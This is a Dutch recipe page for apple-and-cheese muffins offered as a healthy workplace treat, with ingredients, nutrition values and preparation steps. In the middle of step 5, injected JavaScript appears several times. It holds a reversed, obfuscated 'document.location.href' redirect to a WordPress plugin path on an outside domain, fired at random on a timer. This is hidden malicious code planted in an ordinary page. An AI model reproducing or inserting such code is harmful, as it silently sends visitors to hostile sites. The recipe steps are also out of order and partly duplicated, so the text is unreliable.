Gezonde traktaties juni

Ook deze maand kun je met deze heerlijke traktatie jouw collega’s verrassen.

Appelmuffin met kaas

Wil jij snel iets maken en je collega’s verassen met iets ongewoons? De appelmuffins met kaas zijn een uitgekiende combinatie van hartig en zoet. Met een paar kleine handelingen staan ze al in de oven. De muffins zijn een goede bron van vezels door het volkorenmeel, de rozijnen en de appels. Lekker én gezond in één – en dat binnen een half uur!

Ingrediënten voor 12 muffins

Gezonde traktaties op het werk: Appelmuffin met kaas - Enerjoy

  • 250 gram volkorenmeel
  • 4 kleine handappelen, geboord, geschild en kleingesneden
  • 50 gram roggemeel
  • 120 gram Leidsche 20+ kaas, geraspt
  • 2 eetlepels pindakaas met stukjes noot
  • 2 eetlepels suiker
  • 50 gram rozijnen
  • 2 theelepels bakpoeder
  • Mespunt gemalen piment
  • 1,25 dl magere melk
  • 2 theelepels halvarine
  • 1 eiwit

Voedingswaarden per muffin

Energie: 198 kcal
Eiwit: 6 gram
Koolhydraten: 26 gram
Vet: 8 gram

Bereiding (45 minuten)

  1. Verwarm de oven voor op 180 graden C. Meng de eerste 9 ingrediënten in een beslagkom en roer alles goed door elkaar;
  2. Meng de rest van de ingrediënten in een keukenmachine en schep dit mengsel voorzichtig door het bloemmengsel (niet te veel mixen of kloppen);
  3. Meng in een beslagkom alle ingrediënten en roer het goed door met een lepel;
  4. Bespuit 12 cakevormpjes met antiaanbaklaag met bakplaatinvetter. Verdeel het beslag gelijkelijk over de 12 vormpjes (niet meer dan driekwart vol);
  5. Bak de appelmuffins circa 20 minuten midden in de oven, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tot ze goudbruin zijn en een houten prikker die je er insteekt, er weer schoon uitkomt;
  6. Neem een diepe bakplaat en bekleed deze met bakpapier, of gebruik een siliconen vorm;
  7. Haal de appelmuffins uit de vormpjes en laat ze op een taartrooster afkoelen.

Variatie

Vervang de piment door kaneelpoeder. Vervang de kaas door een blauwe schimmelkaas.
Bron recept: weightwatchers